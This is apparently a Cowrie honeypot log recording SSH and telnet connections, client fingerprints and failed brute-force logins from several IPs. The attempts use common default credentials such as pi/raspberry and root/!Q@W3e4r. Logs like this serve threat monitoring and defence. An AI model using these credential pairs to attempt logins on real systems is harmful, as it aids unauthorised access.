{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43672,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11713baf986","protocol":"telnet","message":"New connection: 74.91.213.120:43672 (159.203.135.109:23) [session: d11713baf986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:43.993645Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56632,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2ceabedf06","protocol":"ssh","message":"New connection: 45.153.34.114:56632 (159.203.135.109:22) [session: 4c2ceabedf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:45.933845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:45.938478Z","src_ip":"45.153.34.114","session":"4c2ceabedf06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:46.026030Z","src_ip":"45.153.34.114","session":"4c2ceabedf06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:46.289297Z","src_ip":"45.153.34.114","session":"4c2ceabedf06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:47.379379Z","src_ip":"45.153.34.114","session":"4c2ceabedf06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48526,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d8644b1924","protocol":"telnet","message":"New connection: 74.91.213.120:48526 (159.203.135.109:23) [session: 05d8644b1924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:48.100276Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48530,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf24fdcb78e7","protocol":"telnet","message":"New connection: 74.91.213.120:48530 (159.203.135.109:23) [session: bf24fdcb78e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:48.849149Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48542,"dst_ip":"159.203.135.109","dst_port":23,"session":"4814e5de441c","protocol":"telnet","message":"New connection: 74.91.213.120:48542 (159.203.135.109:23) [session: 4814e5de441c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:52.116566Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55784,"dst_ip":"159.203.135.109","dst_port":22,"session":"b12b48a7b12d","protocol":"ssh","message":"New connection: 103.75.199.4:55784 (159.203.135.109:22) [session: b12b48a7b12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.591290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.596093Z","src_ip":"103.75.199.4","session":"b12b48a7b12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.691704Z","src_ip":"103.75.199.4","session":"b12b48a7b12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41366,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1cfa2e38972","protocol":"ssh","message":"New connection: 45.153.34.114:41366 (159.203.135.109:22) [session: c1cfa2e38972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.867326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.872371Z","src_ip":"45.153.34.114","session":"c1cfa2e38972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:53.977039Z","src_ip":"103.75.199.4","session":"b12b48a7b12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:54.038154Z","src_ip":"45.153.34.114","session":"c1cfa2e38972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:54.357212Z","src_ip":"45.153.34.114","session":"c1cfa2e38972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:55.077441Z","src_ip":"103.75.199.4","session":"b12b48a7b12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:55.441994Z","src_ip":"45.153.34.114","session":"c1cfa2e38972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.136699676513672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:56.778183Z","src_ip":"74.91.213.120","session":"5aaf19145367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34922456741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:01.407371Z","src_ip":"74.91.213.120","session":"972defa9c075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0b0933fda9e","protocol":"ssh","message":"New connection: 45.153.34.114:48266 (159.203.135.109:22) [session: f0b0933fda9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:02.139341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:02.150024Z","src_ip":"45.153.34.114","session":"f0b0933fda9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:02.267874Z","src_ip":"45.153.34.114","session":"f0b0933fda9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:02.552446Z","src_ip":"45.153.34.114","session":"f0b0933fda9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:03.640844Z","src_ip":"45.153.34.114","session":"f0b0933fda9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.113.173.34","src_port":46806,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ab5a5978b1","protocol":"telnet","message":"New connection: 209.113.173.34:46806 (10.17.0.5:23) [session: 22ab5a5978b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:09.396293Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57432,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a3b90be5dfd","protocol":"ssh","message":"New connection: 45.153.34.114:57432 (159.203.135.109:22) [session: 0a3b90be5dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:09.922556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:09.929028Z","src_ip":"45.153.34.114","session":"0a3b90be5dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:10.015102Z","src_ip":"45.153.34.114","session":"0a3b90be5dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:10.291669Z","src_ip":"45.153.34.114","session":"0a3b90be5dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:11.379980Z","src_ip":"45.153.34.114","session":"0a3b90be5dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.147387981414795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:15.140814Z","src_ip":"74.91.213.120","session":"d11713baf986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46248,"dst_ip":"159.203.135.109","dst_port":22,"session":"64b7b50d6d6a","protocol":"ssh","message":"New connection: 103.75.199.4:46248 (159.203.135.109:22) [session: 64b7b50d6d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:15.632822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:15.638231Z","src_ip":"103.75.199.4","session":"64b7b50d6d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:15.730558Z","src_ip":"103.75.199.4","session":"64b7b50d6d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:16.012426Z","src_ip":"103.75.199.4","session":"64b7b50d6d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:17.107377Z","src_ip":"103.75.199.4","session":"64b7b50d6d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57444,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ad9b69a84f","protocol":"ssh","message":"New connection: 45.153.34.114:57444 (159.203.135.109:22) [session: 24ad9b69a84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:17.642396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:17.649400Z","src_ip":"45.153.34.114","session":"24ad9b69a84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:17.745863Z","src_ip":"45.153.34.114","session":"24ad9b69a84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:18.090933Z","src_ip":"45.153.34.114","session":"24ad9b69a84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.164945602416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:18.265080Z","src_ip":"74.91.213.120","session":"05d8644b1924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:19.175840Z","src_ip":"45.153.34.114","session":"24ad9b69a84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162769556045532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:20.011795Z","src_ip":"74.91.213.120","session":"bf24fdcb78e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44444,"dst_ip":"159.203.135.109","dst_port":23,"session":"636bbe94440c","protocol":"telnet","message":"New connection: 74.91.213.120:44444 (159.203.135.109:23) [session: 636bbe94440c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:22.071627Z"}
{"eventid":"cowrie.session.closed","duration":31.625827312469482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:23.742325Z","src_ip":"74.91.213.120","session":"4814e5de441c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50444,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd68ec044dae","protocol":"ssh","message":"New connection: 45.153.34.114:50444 (159.203.135.109:22) [session: dd68ec044dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:25.807904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:25.813898Z","src_ip":"45.153.34.114","session":"dd68ec044dae","protocol":"ssh"}
